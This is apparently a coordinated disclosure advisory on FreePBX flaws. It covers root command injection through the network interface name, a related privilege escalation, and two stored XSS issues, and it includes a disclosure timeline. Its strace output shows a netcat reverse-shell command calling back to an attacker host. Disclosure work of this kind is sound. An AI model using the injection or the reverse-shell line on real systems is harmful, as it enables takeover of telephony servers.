Aon’s Cyber Solutions recently discovered multiple vulnerabilities in FreePBX versions 13.0.76.43, 14.0.7, 15.0.20 and earlier, allowing authenticated attackers to perform remote code execution, local privilege escalation, and cross-site scripting attacks. Chaining these vulnerabilities allows for authenticated attackers to obtain a root shell on the host operating system.
Aon would like to thank Sangoma for working with us as part of our coordinated disclosure process, and CERT for facilitating and coordinating disclosure. These issues are tracked by CERT as VU#727873
Timeline:
08/16/19 – Initial disclosure to [email protected]
08/22/19 – 1st follow up sent
09/03/19 – 2nd follow up sent
09/10/19 – 3rd follow up sent, also sent to [email protected]
10/01/19 – No responses received; CERT contacted for coordination assistance
10/18/19 – CERT contacts FreePBX/Sangoma
10/23/19 – Response from Sangoma received
10/29/19 – Disclosure date of 11/28 set
11/13/19 – Sangoma confirms vulnerabilities and develops patches
11/25/19 – Disclosure date moved to 12/3
12/03/19 – Public disclosure
Vulnerability Listing / Credits:
CVE-2019-19538: Dustin Cobb – RCE / LPE in System Admin Module
CVE-2019-19552: Dustin Cobb – XSS in User Management Screen
CVE-2019-19551: Dustin Cobb – XSS in User Management Screen
Vendor Advisory:
https://wiki.freepbx.org/display/FOP/2019-12-03+Remote+Command+Execution
https://wiki.freepbx.org/display/FOP/2019-12-03+Multiple+XSS+Vulnerabilities
CVE-2019-19538: Remote Command Execution in System Admin Module
A vulnerability exists in the System Admin module of the FreePBX admin site whereby an authenticated administrative attacker can abuse the network settings module by injecting malicious commands into the interface name. These commands will shortly after be executed by a cron job that runs as the root user.
The purpose of the Network Settings screen is to configure the settings on available network interfaces. Normally, when settings are made on this screen, a call to the /admin/ajax.php page is made with a few parameters:
module=sysadmin&command=savenetwork
In addition to these parameters, the network settings will be provided:
interface=eth0&protocol=static&ipaddr=1.1.1.1
Unfortunately, the interface parameter is not sanitized or validated to make sure it is an existing interface. A shell command injection payload can be supplied that executes as the root user when the cron job runs. An explanation of this process is provided below, which is also relevant in the local privilege escalation issue below.
After the request is received, a file is created in the /var/spool/asterisk/incron directory. The filename contains all the needed parameters for the cron job “hook” to execute the network settings update function. The filename is in the format:
sysadmin.update-interface.[URL_SAFE_BASE64_DATA]
The URL_SAFE_BASE64_DATA is actually a JSON structure containing the submitted parameters for the network interface. This data is compressed using zlib compression and then converted to base64. Finally, the ‘/’ characters are replaced by ‘_’ to ensure that the filename will remain valid.
Here we can see the contents of the /etc/incron.d/sysadmin config file:
# cat /etc/incron.d/sysadmin
/var/spool/asterisk/incron IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE /usr/bin/sysadmin_manager $#
This is telling the incrond process to look for files in the /var/spool/asterisk/incron directory. When found, execute the /usr/bin/sysadmin_manager program with the filename that was found. Next, the sysadmin_manager program will perform some integrity checks, making sure that the module (sysadmin) is valid and that the module hasn’t been tampered with. Once these checks are performed, the module’s PHP script is called, executing as root. In this case, the following script is called:
/var/www/html/admin/modules/sysadmin/hooks/update-interface
The filename, formatted as described above, is passed as an argument. The update-interface script is encrypted with ZendGuard, but we can use the strace utility to see what is going on. First, we look at the log entry in /var/log/cron:
Jul 10 03:30:38 freepbx sysadmin-hook[48385]: Security check passed. Running '/var/www/html/admin/modules/sysadmin/hooks/update-interface [URL_SAFE_BASE64_DATA]'
With this, we can run strace and get a clear picture of what happens here when a malicious payload is executed:
strace -ff -e open,execve /usr/bin/php /var/www/html/admin/modules/sysadmin/hooks/update-interface [URL_SAFE_BASE64_DATA] [..SNIP..] open("/etc/sysconfig/network-scripts/ifcfg-[MALICIOUS INTERFACE NAME]", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4 [pid 48995] open("/etc/sysconfig/network-scripts/ifcfg-[MALICIOUS INTERFACE NAME]", O_RDONLY) = 6 [..SNIP..] [pid 48996] execve("/bin/sh", ["sh", "-c", "ifup [MALICIOUS INTERFACE NAME]"...], [/* 22 vars */]) = 0 [pid 48998] execve("/usr/bin/nc", ["nc", "-e/bin/bash", "192.168.90.2", "4445"], [/* 21 vars */]) = 0 [pid 48999] execve("/bin/bash", ["/bin/bash"], [/* 26 vars */]) = 0
As shown in the first highlighted line in the strace output, the update-interface script creates a file under the /etc/sysconfig/network-scripts directory with a filename of ifcfg- followed by the malicious shell commands. On the next highlighted line (PID 48996, execve), we can see that the script issues an ifup command on the interface, which has been named with malicious shell commands embedded within it. They are executed as a subcommand, which leads us to the next highlighted line (PID 48998, execve). On that line, we can see the netcat command running and making a connection back to the attacker.
CVE-2019-19538: Local Privilege Escalation in System Admin Module
A vulnerability exists in the System Admin module of the FreePBX cron sysadmin hook code. This is the same fundamental vulnerability shown in the remote code execution variant above, but executed in a different context. An attacker who has gained access to the system as the lesser privileged asterisk user may create a file in the /var/spool/asterisk/incron directory using the URL_SAFE_BASE64_DATA format described above (JSON that has been zlib compressed and base64 encoded). In doing so, the attacker can execute arbitrary commands in the context of the root user, thereby giving them the ability to escalate privileges and gain complete control over the system.
CVE-2019-19552: Cross-site Scripting in User Management Screen
A stored XSS vulnerability exists in the User Management screen of the FreePBX Administrator web site. An attacker with sufficient privileges can edit the “Display Name” of a user and embed malicious XSS code. When another user (such as an admin) visits the main User Management screen, the XSS payload will render and execute in the context of the victim user’s account. This can be easily chained with the remote code execution vulnerability shown earlier.
CVE-2019-19551: Cross-site Scripting in User Management Screen
A stored XSS vulnerability exists in the User Management screen of the FreePBX Administrator web site. An attacker with access to the “User Control Panel” application can submit malicious values in some of the time/date formatting and time zone fields. These fields are not being properly sanitized. If this is done and a user (such as an admin) visits the User Management screen and views that user’s profile, the XSS payload will render and execute in the context of the victim user’s account. This can be easily chained with the remote code execution vulnerability shown earlier.
Author: Dustin Cobb